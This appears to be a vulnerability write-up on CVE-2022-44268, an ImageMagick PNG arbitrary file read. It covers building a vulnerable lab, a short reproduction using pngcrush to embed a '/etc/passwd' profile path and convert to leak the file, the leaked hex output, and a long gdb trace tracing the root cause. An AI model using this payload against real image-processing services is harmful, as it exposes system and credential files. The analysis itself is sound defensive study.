Skip to content

CVE-2022–44268: Arbitrary Remote Leak in ImageMagick

Introduction

Arbitrary Remote Leak in ImageMagick 7.1.0–49 has been found and registered as #CVE-2022-44268.

What is ImageMagick?

ImageMagick doesn’t really need any introduction because it has been around since August 1, 1990. It’s used everywhere not only on Linux systems but also as a library with other programming languages.

ImageMagick, invoked from the command line as magick, is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. Created in 1987 by John Cristy, it can read and write over 200 image file formats. It is widely used in open-source applications.

Programming language: C

Initial release: August 1, 1990; 32 years ago

Stable release: 7.1.0–62 / 12 February 2023

Build the lab

Method 1

  • Download the vulnerable (7.1.0-49) version from here:https://imagemagick.org/archive/releases/
  • Install the build tools
    sudo apt install build-essential make
  • Extract the tar.xz
    tar -axvf ImageMagick-7.1.0-49.tar.xz
    cd ImageMagick-7.1.0-49/
  • Configure and Install
    ./configure
    sudo make install
    sudo ldconfig /usr/local/lib
  • Test ImageMagick
    convert pictest.png test2.png
    convert --version

     

This worked for me after that I started to face issues with the PNG library, so if you faced the same issue here is another method to install.

Method 2

  • Download the script:https://github.com/SoftCreatR/imei/
    git clone https://github.com/SoftCreatR/imei && \
    cd imei && \
    chmod +x imei.sh
  • Run the script to download all the required libs and install ImageMagick
    ./imei.sh --im-version 7.1.0-49

NOTE: After installing using this way if you tried to open convert with GDB and didn’t work, you can run the ./confugre script in Method1 and it will work, that way imei will install all the needed libs and ImageMagick will be installed from the official resource.

However, I think you can just edit the imei script to install only the libs without installing ImageMagick and after that install ImageMagick.

I will add this in a separate blog, so stay tuned.

Background Story

This is a summary to give you general information about what you are going to read, so you can have an easier understanding.

When you pass a PNG image to something like “convert”, there is a function named ReadOnePNGImage which will process the image and also read the text chunk, from there, there is an if condition where it checks if there is the “profile” keyword inside the image metadata, if that the case the code treat any associated text to the keyword “profile” as a filename and using a function named FileToBlob it will read the file and set the string content inside the image.

I’m trying to achieve a more detailed understanding of what’s going on and how this whole vulnerability getting proceed.

Dive deep if you dare 😀

Reproducing the attack

  • First, you have to create the payload by embedding the “profile” keyword along with a file path as text, to do that we will use pngcrush tool.
    pngcrush -text a "profile" "/etc/passwd" mhzcyber2.png

    This will generate a new image named “pngout.png” with the text embedded inside it

    Here we can see the differences between both the original image and the new malicious one.

The original image:

The malicious image:

  • Trigger the exploitation with the following command:convert pngout.png pwnit.png

     

NOTE: Errors messages are always interesting since they can give us a lot of info that can help with debugging.

  • Check the newly generated image using the following command:
    identify -verbose pwnit.png

    This is hex data

  • Convert the hex to str
    
    726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f7661722f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130303a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130313a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130323a3130343a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130363a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7379736c6f673a783a3130343a3131303a3a2f686f6d652f7379736c6f673a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130353a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7473733a783a3130363a3131313a54504d20736f66747761726520737461636b2c2c2c3a2f7661722f6c69622f74706d3a2f62696e2f66616c73650a75756964643a783a3130373a3131323a3a2f72756e2f75756964643a2f7573722f7362696e2f6e6f6c6f67696e0a74637064756d703a783a3130383a3131333a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a6c616e6473636170653a783a3130393a3131353a3a2f7661722f6c69622f6c616e6473636170653a2f7573722f7362696e2f6e6f6c6f67696e0a706f6c6c696e6174653a783a3131303a313a3a2f7661722f63616368652f706f6c6c696e6174653a2f62696e2f66616c73650a7573626d75783a783a3131313a34363a7573626d7578206461656d6f6e2c2c2c3a2f7661722f6c69622f7573626d75783a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3131323a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a75733a783a313030303a313030303a75733a2f686f6d652f75733a2f62696e2f626173680a6c78643a783a3939383a3130303a3a2f7661722f736e61702f6c78642f636f6d6d6f6e2f6c78643a2f62696e2f66616c73650a

Debugging

I need to understand how ImageMagick processes png images, therefore, I can dive deep into the code and understand the vulnerability better.

  • Start gdb as follows:gdb convert

     

    use the command lay next and after that press Enter twice

I set a breakpoint at the main function after that run the program

break main

run pngout.png xy.png

I went here with step step-in and next to follow the program execution

This will be a very long execution flow until we hit the first interesting shared library “png.c” and the interesting function for us which is “ReadOnePNGImage”

I recorded the execution here:

ٍSince I did this on multiple days, I have divided this into three parts

NOTE: these are not the precise execution steps since I passed some steps that are not exactly related to understanding the execution flow and the vulnerability.

Part 1:

it starts ywith reading the PNG image using ReadOnePNGImage

2177          int
2213          png_bytep
2216          png_color_16p
2230          png_uint_32
2261          png_byte unused_chunks[]=
2280          logging=IsEventLogging();

MagickCore/log.c
764         {
765           return(event_logging);

coders/png.c
2281          if (logging != MagickFalse)
2345          quantum_info = (QuantumInfo *) NULL;
2346          image=mng_info->image;
2359          intent= Magick_RenderingIntent_to_PNG_RenderingIntent(image->rendering_intent);
1110          switch (ping_colortype)
2363          transparent_color.red=65537;
2364          transparent_color.green=65537;
2365          transparent_color.blue=65537;
2366          transparent_color.alpha=65537;
2377          ping_found_sRGB_cHRM = MagickFalse;
2378          ping_preserve_iCCP = MagickFalse;
2376          ping_found_sRGB = MagickFalse;
2377          ping_found_sRGB_cHRM = MagickFalse;
2378          ping_preserve_iCCP = MagickFalse;
2387         ping=png_create_read_struct_2(PNG_LIBPNG_VER_STRING,&error_info,MagickPNGErrorHandler,MagickPNGWarningHandler, NULL,(png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free);
2394          if (ping == (png_struct *) NULL)
2397          ping_info=png_create_info_struct(ping);
2399          if (ping_info == (png_info *) NULL)
2405          end_info=png_create_info_struct(ping);
2407          if (end_info == (png_info *) NULL)
2413          pixel_info=(MemoryInfo *) NULL;
2414          quantum_scanline = (Quantum *) NULL;
2415          quantum_info = (QuantumInfo *) NULL;
2417          if (setjmp(png_jmpbuf(ping)))
2451          LockSemaphoreInfo(ping_semaphore);

MagickCore/semaphore.c
294         {
295           assert(semaphore_info != (SemaphoreInfo *) NULL);
296           assert(semaphore_info->signature == MagickCoreSignature);
306           omp_set_lock((omp_lock_t *) &semaphore_info->mutex);

coders/png.c
2456          png_set_benign_errors(ping, 1);
2465            png_set_user_limits(ping,(png_uint_32) MagickMin(PNG_UINT_31_MAX, GetMagickResourceLimit(WidthResource)),(png_uint_32) MagickMin(PNG_UINT_31_MAX,GetMagickResourceLimit(HeightResource)));

MagickCore/resource.c
798         {
802           switch (type)
807               return(resource_info.height_limit);
798         {
802           switch (type)
815               return(resource_info.width_limit);

coders/png.c
2470            option=GetImageOption(image_info,"png:chunk-cache-max");

MagickCore/option.c
2404        {
2405          assert(image_info != (ImageInfo *) NULL);
2406          assert(image_info->signature == MagickCoreSignature);
2407          if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/option.c
2410          if (image_info->options == (void *) NULL)
2412          return((const char *) GetValueFromSplayTree((SplayTreeInfo *) image_info->options,option));

MagickCore/splay-tree.c
923         {
930           assert(splay_tree != (SplayTreeInfo *) NULL);
931           assert(splay_tree->signature == MagickCoreSignature);
932           if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/splay-tree.c
934           if (splay_tree->root == (NodeInfo *) NULL)
936           LockSemaphoreInfo(splay_tree->semaphore);

MagickCore/semaphore.c
294         {
295           assert(semaphore_info != (SemaphoreInfo *) NULL);
296           assert(semaphore_info->signature == MagickCoreSignature);
306           omp_set_lock((omp_lock_t *) &semaphore_info->mutex);

MagickCore/splay-tree.c
937           SplaySplayTree(splay_tree,key);
1613          if (splay_tree->root == (NodeInfo *) NULL)
1615          if (splay_tree->key != (void *) NULL)
1620              if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1621                compare=splay_tree->compare(splay_tree->root->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
1625              if (compare == 0)
1611        static void SplaySplayTree(SplayTreeInfo *splay_tree,const void *key)
1628          (void) Splay(splay_tree,0UL,key,&splay_tree->root,(NodeInfo **) NULL, (NodeInfo **) NULL);
1528          n=(*node);
1529          if (n == (NodeInfo *) NULL)
1536          if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1537            compare=splay_tree->compare(n->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
1541          if (compare > 0)
1544            if (compare < 0)
1545              next=(&n->right);
1548              if (depth >= MaxSplayTreeDepth)
1553              n=Splay(splay_tree,depth+1,key,next,node,parent);
1528          n=(*node);
1529          if (n == (NodeInfo *) NULL)
1531              if (parent != (NodeInfo **) NULL)
1532                return(*parent);
1551                  return(n);
1554              if ((n != *node) || (splay_tree->balance != MagickFalse))
1557          if (parent == (NodeInfo **) NULL)
1551                  return(n);
1630          if (splay_tree->balance != MagickFalse)
1638          splay_tree->key=(void *) key;
938           if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
939             compare=splay_tree->compare(splay_tree->root->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
943           if (compare != 0)
945               UnlockSemaphoreInfo(splay_tree->semaphore);

MagickCore/semaphore.c
450         {
451           assert(semaphore_info != (SemaphoreInfo *) NULL);
452           assert(semaphore_info->signature == MagickCoreSignature);
465           omp_unset_lock((omp_lock_t *) &semaphore_info->mutex);

MagickCore/splay-tree.c
946               return((void *) NULL);

coders/png.c
2471            if (option != (const char *) NULL) png_set_chunk_cache_max(ping,(png_uint_32) MagickMin(PNG_UINT_32_MAX, StringToLong(option)));
2475              png_set_chunk_cache_max(ping,32767);
2479            option=GetImageOption(image_info,"png:chunk-malloc-max");

MagickCore/property.c
4711              if (LocaleCompare("profile",property) == 0)

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422              (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

/usr/include/ctype.h
209           return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;

MagickCore/property.c
4843          status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));

MagickCore/string.c
679         {
687           if (source != (char *) NULL)
688             length+=strlen(source);

MagickCore/property.c
4362        {
4372          assert(image != (Image *) NULL);
4373          assert(image->signature == MagickCoreSignature);
4374          if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/property.c
4376          if (image->properties == (void *) NULL) image->properties=NewSplayTree(CompareSplayTreeString, RelinquishMagickMemory,RelinquishMagickMemory);
4379          if (value == (const char *) NULL) return(DeleteImageProperty(image,property));
4381          if (strlen(property) <= 1)

4711              if (LocaleCompare("profile",property) == 0)

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422              (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

/usr/include/ctype.h
209           return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;

MagickCore/property.c
4843          status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));

coders/png.c
3370             if (ping_interlace_method == 0)
3372                 (void) FormatLocaleString(msg,MagickPathExtent,"%d (Not interlaced)", (int) ping_interlace_method);

MagickCore/locale.c
131           if (c_locale == (locale_t) NULL)
137           return(c_locale);

coders/png.c
3385               (void) SetImageProperty(image,"png:IHDR.interlace_method",msg,exception);

MagickCore/property.c
4362        {
4372          assert(image != (Image *) NULL);
4373          assert(image->signature == MagickCoreSignature);
4374          if (IsEventLogging() != MagickFalse)
4376          if (image->properties == (void *) NULL)
4379          if (value == (const char *) NULL)
4381          if (strlen(property) <= 1)
4711              if (LocaleCompare("profile",property) == 0)

coders/png.c
3387             if (number_colors != 0)
3395           read_tIME_chunk(image,ping,ping_info,exception);
2118        {
2122          if (png_get_tIME(ping,info,&time))
3398          read_eXIf_chunk(image,ping,ping_info,exception);
1950          if (png_get_eXIf_1(ping,info,&size,&data))
3405          if (image->delay != 0)
3408          if ((mng_info->mng_type == 0 && (image->ping != MagickFalse)) || (
3438          if (logging != MagickFalse)
3442          status=SetImageExtent(image,image->columns,image->rows,exception);

MagickCore/image.c
2664        {
2665          if ((columns == 0) || (rows == 0))
2667          image->columns=columns;
2668          image->rows=rows;
2669          if (image->depth == 0)
2675          if (image->depth > (8*sizeof(MagickSizeType)))
2681          return(SyncImagePixelCache(image,exception));

MagickCore/resource.c
798         {
802           switch (type)

Part 2:

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962

ConcatenateMagickString (destination=destination@entry=0x5555555c1a00 "", source=0x5555555b6ee8 "/etc/passwd", length=length@entry=13) at MagickCore/string.c:394

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3973

FormatLocaleString (string=string@entry=0x7fffffff25d0 "pngout.png", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:468

FormatLocaleStringList (string=0x7fffffff25d0 "pngout.png", length=4096, format=0x7ffff7e861fb "%s", operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:419

AcquireCLocale () at MagickCore/locale.c:131

FormatLocaleStringList (string=0x7fffffff25d0 "profile", length=4096, format=<optimized out>, operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:461

FormatLocaleString (string=string@entry=0x7fffffff25d0 "profile", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:478

LocaleCompare (p=p@entry=0x7fffffff25d0 "profile", q=q@entry=0x7ffff7e7f546 "width") at MagickCore/locale.c:1407

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3982

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4362

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4381

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4692

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4711

Part 3:

MagickCore/property.c:4711
MagickCore/property.c:4722
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    exception=exception@entry=0x55555558a830) at MagickCore/string.c:1007

MagickCore/string.c
1015          string_info=AcquireStringInfoContainer();
AcquireStringInfoContainer () at MagickCore/string.c:145
147           string_info->signature=MagickCoreSignature;
1016          string_info->path=ConstantString(filename);
679         {
1017          string_info->datum=(unsigned char *) FileToBlob(filename,extent,
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    exception=exception@entry=0x55555558a830) at MagickCore/string.c:1017

MagickCore/blob.c
1398        {
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1398
1423          assert(filename != (const char *) NULL);
1424          assert(exception != (ExceptionInfo *) NULL);
1425          assert(exception->signature == MagickCoreSignature);
1428          *length=0;
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1428
1429          status=IsRightsAuthorized(PathPolicyDomain,ReadPolicyRights,filename);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1430
1437          file=fileno(stdin);
1440              status=GetPathAttributes(filename,&attributes);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1438

MagickCore/utility.c
1189          status=stat_utf8(path,(struct stat *) attributes) == 0 ? MagickTrue :
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1189
stat_utf8 (attributes=0x7ffffffeff10, path=0x5555555c4c90 "/etc/passwd") at MagickCore/utility.c:1189
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1191
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1441
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1455
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1515
MapBlob (file=file@entry=4, mode=mode@entry=ReadMode, offset=offset@entry=0, length=1815) at MagickCore/blob.c:3011
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1523

MagickCore/property.c
SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
    value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4725

MagickCore/profile.c
SetImageProfile (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
    exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1997
SetImageProfileInternal (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
    recursive=recursive@entry=MagickFalse, exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1955

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
    value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4727

NOTE: since explaining each line by line of the execution would take an extreme amount of time, I will explain the main used functions and the lines that are related to understanding the vulnerability.

  • Basically it starts with ReadOnePNGImage 

ReadOnePNGImage() reads a Portable Network Graphics (PNG) image file (minus the 8-byte signature) and returns it.
It allocates the memory necessary for the new Image structure and returns a pointer to the new image.

The format of the ReadOnePNGImage method is:

Image ReadOnePNGImage(MngInfo mng_info, const ImageInfo image_info, ExceptionInfo exception)

A description of each parameter follows:

o mng_info: Specifies a pointer to a MngInfo structure.

o image_info: the image info.

o exception: return any errors or warnings in this structure.

The function starts at int and here there are several variables that are used to store various characteristics of the PNG image file, such as the PNG rendering intent, the number of raw ICC profiles and text chunks associated with the image, the number of passes required to display the image, and the characteristics of the image data such as bit depth, color type, interlace method, compression method, filter method, and the number of transparent pixels. These variables are used to decode the image data and reconstruct the image.

  • Every time you see this line logging=IsEventLogging(); this means it will go to “MagickCore/log.c” and IsEventLogging() returns MagickTrue if debug of events is enabled otherwise MagickFalse.

  • The code sets a few pointer and variable values, including setting quantum_info to NULL, setting image to point to the image object within the mng_info struct, and setting intent to a value representing the rendering intent for the image. Also sets a few boolean variables and initializes some structures for reading in the PNG image file.

  • After that, it moves to the LockSemaphoreInfo function which locks a semaphore.A description of each parameter follows:

    o semaphore_info: Specifies a pointer to an SemaphoreInfo structure.

  • After that to resource.c to GetMagickResourceLimit function which returns the specified resource limit.

  • Now to “MagickCore/option.c” to GetImageOption function which gets a value associated with the global image options.

  • From here with GetValueFromSplayTree function it will go to “MagickCore/splay-tree.c”. GetValueFromSplayTree() gets a value from the splay-tree by its key.

  • This is where it will start to be interesting which basically from the part2 of the execution record
ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962

Basically, the code here reads the text chunk from the image i.e. the file path

else
          {
            char
              *value;

            length=text[i].text_length;
            value=(char *) AcquireQuantumMemory(length+MagickPathExtent,
              sizeof(*value));
            if (value == (char *) NULL)
              {
                png_error(ping,"Memory allocation failed");
                break;
              }
            *value='\0';
            (void) ConcatenateMagickString(value,text[i].text,length+2);

            /* Don't save "density" or "units" property if we have a pHYs
             * chunk
             */
            if (!png_get_valid(ping,ping_info,PNG_INFO_pHYs) ||
                (LocaleCompare(text[i].key,"density") != 0 &&
                LocaleCompare(text[i].key,"units") != 0))
              {
                char
                  key[MagickPathExtent];

                (void) FormatLocaleString(key,MagickPathExtent,"%s",
                  text[i].key);
                if ((LocaleCompare(key,"version") == 0) ||
                    (LocaleCompare(key,"width") == 0))
                  (void) FormatLocaleString(key,MagickPathExtent,"png:%s",
                    text[i].key);
                (void) SetImageProperty(image,key,value,exception);
              }

First, a character pointer variable called value is declared. length is set to the length of the text in the current text chunk. Memory is then allocated for value, which will be used to store the text value. The AcquireQuantumMemory function is used for memory allocation.

Next, the code checks if memory allocation for value was successful. If it wasn’t, an error message is logged and the loop is broken. If memory allocation was successful, value is set to an empty string using '\0'.

Now the text value is copied into value using the ConcatenateMagickString .

ConcatenateMagickString() concatenates the source string to the destination string.
The destination buffer is always null-terminated even if the string must be truncated.

After that, the program goes through multiple other interesting functions, such as:

  • FormatLocaleStringList
  • FormatLocaleString
  • SetImageProperty which it’s interesting since saves the given string value either to a specific known attribute or to a freeform property string.

scroll down in the SetImageProperty to line 4711

when you follow this code, you found this full function in MagickCore/preperty.c

Basically, the code here using LocaleCompare function to check if the property variable is equal to the string “profile”, If the comparison returns zero, meaning the strings are equal, it will continue.

here, I will explain what those functions do and I will focus more on the functions that are more related to the root cause.

AcquireImageInfo() allocates the ImageInfo structure.
The format of the AcquireImageInfo method is: ImageInfo *AcquireImageInfo(void)

The SetImageInfo function is then called to initialize the ImageInfo struct, passing in a value of 1 and an exception parameter.

SetImageInfo() initializes the ‘magick’ field of the ImageInfo structure.
It is set to a type of image format based on the prefix or suffix of the filename. For example, ‘ps:image’ returns PS indicating a Postscript image.
JPEG is returned for this filename: ‘image.jpg’. The filename prefix has precendence over the suffix. Use an optional index enclosed in brackets after a file name to specify a desired scene of a multi-resolution image format like Photo CD (e.g. img0001.pcd[4]). A True (non-zero) return value indicates success.

This line is very interesting

profile=FileToStringInfo(image_info->filename,~0UL,exception);

The FileToStringInfo function is called with the filename of the ImageInfo struct and a flag value ~0UL to read the entire file into memory as a StringInfo struct.

FileToStringInfo() returns the contents of a file as a string.

This function takes three parameters:

  1. filename is a pointer to a character array (i.e., string) that contains the name of the file to read.
  2. extent is a size_t variable indicating the maximum length of the string that should be read from the file. This parameter is used to prevent the function from reading beyond a specified limit, which can help prevent buffer overflow errors.
  3. exception is a pointer to an ExceptionInfo structure. This structure is used to capture any errors or warnings that occur during the execution of the function.

The function also calls the FileToBlob() function, passing in the filename, extent, and exception parameters. This function reads the contents and the file content is stored in the datum field of the StringInfo structure.

string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);

FileToBlob() returns the contents of a file as a buffer terminated with the ‘\0’ character. The length of the buffer (not including the extra terminating ‘\0’ character) is returned via the ‘length’ parameter. Free the buffer with RelinquishMagickMemory().

The interesting part of the FileToBlob() function is this:

file=fileno(stdin);
  if (LocaleCompare(filename,"-") != 0)
    {
      status=GetPathAttributes(filename,&attributes);
      if ((status == MagickFalse) || (S_ISDIR(attributes.st_mode) != 0))
        {
          ThrowFileException(exception,BlobError,"UnableToReadBlob",filename);
          return(NULL);
        }
      file=open_utf8(filename,O_RDONLY | O_BINARY,0);
    }
  if (file == -1)
    {
      ThrowFileException(exception,BlobError,"UnableToOpenFile",filename);
      return(NULL);
    }

basically, the function will check if the filename contains “-” it will try to read from stdin input otherwise it will start with the GetPathAttributes function which retrieves information about the file specified by filename, such as its type, size, and permissions. GetPathAttributes can be found in MagickCore/utility.c here:

If the GetPathAttributes function returns MagickFalse, indicating an error occurred, or if the file type is a directory, the ThrowFileException function is called to throw an exception with an error message, and NULL is returned.

Now if the file type is not a directory, the open_utf8 function is called with the filename This function attempts to open the file specified by filename in read-only mode, and returns a file descriptor that is assigned to the file variable. If the open_utf8 function fails and returns -1, indicating an error, the ThrowFileException function is called to throw an exception with an error message, and NULL is returned, Otherwise, the file descriptor is returned to the calling function.

Now going back to the if (LocaleCompare("profile",property)==0) in MagicCore/property.c

If the StringInfo is successfully read, the SetImageProfile function is called to set the image’s profile using the image’s format (image_info->magick), the StringInfo struct, and the exception parameter.

The StringInfo struct is then destroyed using DestroyStringInfo.

if (profile != (StringInfo *) NULL)
            {
              status=SetImageProfile(image,image_info->magick,profile,
                exception);
              profile=DestroyStringInfo(profile);
            }

Finally, the ImageInfo struct is destroyed using DestroyImageInfo, and the function returns MagickTrue.

image_info=DestroyImageInfo(image_info);
return(MagickTrue);

If the property variable is not equal to the string “profile”, the program breaks out of the if statement.

break; /* not an attribute, add as a property */

basically, all these steps are in the gdb, and you can follow them in the execution flow that I recorded and attached above.

I did all this by following gdb step by step and going through the execution.

Now just to summarize the execution flow:

